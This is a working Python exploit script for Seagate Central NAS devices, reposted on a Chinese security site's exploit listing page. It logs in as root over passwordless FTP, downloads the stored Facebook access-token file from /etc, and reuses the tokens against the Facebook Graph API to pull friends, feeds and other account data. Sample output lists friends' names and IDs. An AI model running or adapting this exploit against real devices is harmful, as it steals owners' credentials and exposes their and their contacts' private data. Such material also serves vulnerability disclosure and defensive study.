首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Seagate Central 2014.0410.0026-F Remote Facebook Access Token Exploit
来源:jbrown3264/gmail 作者:Brown 发布时间:2015-06-05  
#!/usr/bin/python
# seagate_central_facebook.py
#
# Seagate Central Remote Facebook Access Token Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# May 2015
#
# -Synopsis-
#
# Seagate Central stores linked Facebook account access tokens in /etc/archive_accounts.ser
# and this exploit takes advantage of two bugs:
#
# 1) Passwordless root login via FTP to retrieve archive_accounts.ser file which contains access tokens
# 2) Reuses the unencrypted and unprotected (-rw-r--r--) access tokens for a chosen scope to return data
#
# -Example-
#
# > seagate_fb_accounts.py getaccesstoken 1.2.3.4
#
# 'archive_accounts.ser'
#
# a:1:{s:8:"facebook";a:1:{s:29:"user3535@facebook.com";a:5:{s:7:"service";s:8:"facebook";s:4:
# "user";s:29:"user3535@facebook.com";s:5:"owner";s:4:"test";s:6:"folder";s:7:"private";s:5:"t
# oken";s:186:"CAAxxxxxxxx..."
# ;}}}
#
# Next, try this:
#
# > seagate_fb_accounts.py CAAxxxxxxxx... friends
# server response:
#
# {'data': [{'name': 'Jessie Taylor', 'id': '100000937485968'}, {'name': 'Kellie Youty', 'id': '1
# 00000359801427'}, {'name': 'Hope Maynard', 'id': '10000102938470'}, {'name': 'Angel Tucker Pole', 'id'
# : '100001402808867'}, {'name': 'Malcolm Vance', 'id': '10000284629187'}, {'name': 'Tucker Civile', 'id':
# .....
#
# Scopes Reference: https://developers.facebook.com/docs/graph-api/reference/v2.1/user
#
# -Fixes-
#
# Seagate scheduled updates to go live on April 28th, 2015.
#
# Tested version: 2014.0410.0026-F
#
 
import sys
import json
from urllib import request # python3
from ftplib import FTP
 
fb_url = "https://graph.facebook.com"
fb_filename = "archive_accounts.ser"
 
def getaccesstoken(host):
    try:
        ftp = FTP(host)
        ftp.login("root")
        ftp.retrbinary("RETR " + "/etc/" + fb_filename, open(fb_filename, 'wb').write)
        ftp.close()
    
    except Exception as error:
        print("Error: %s" % error)
        return
 
    try:
        with open(fb_filename, 'r') as file:
            data = file.read()
 
    except Exception as error:
        print("Error: %s" % error)
        return
 
    print("\n'%s'\n\n%s\n\n" % (fb_filename, data))
 
    return
 
def main():
    if(len(sys.argv) < 2):
        print("Usage: %s <key> <scope> OR getaccesstoken <host>\n" % sys.argv[0])
        print("scopes: albums feed friends likes picture posts television")
        return
 
    if(sys.argv[1] == "getaccesstoken"):
        if(len(sys.argv) == 3):
            host = sys.argv[2]
 
            res = getaccesstoken(host)
        
        else:
            print("Error: need host to retrieve access token file\n")
            return
 
    else:
        key = sys.argv[1]
    
        if(len(sys.argv) == 3):
            scope = sys.argv[2]
        else:
            scope = ""
 
        try:
            response = request.urlopen(fb_url + "/me/" + scope + "?access_token=" + key).read()
 
        except Exception as error:
            print("Error: %s" % error)
            return
 
        data = json.loads(response.decode('utf-8'))
 
        print("server response:\n\n%s\n" % data)
 
    return
 
if __name__ == "__main__":
    main()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Seagate Central 2014.0410.0026
·Jildi FTP Client Buffer Overfl
·PonyOS <= 3.0 - tty ioctl() Lo
·Jildi FTP Client 1.5.6 (SEH) B
·Microsoft Windows - Local Priv
·JDownloader 2 Beta Directory T
·D-Link Devices HNAP SOAPAction
·Golden FTP 5.00 Denial Of Serv
·IBM Security AppScan 9.0.2 Rem
·CmyDocument CMS Database Discl
·WebDrive 12.2 Buffer Overflow
·ProductCart 2.1 Database Discl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved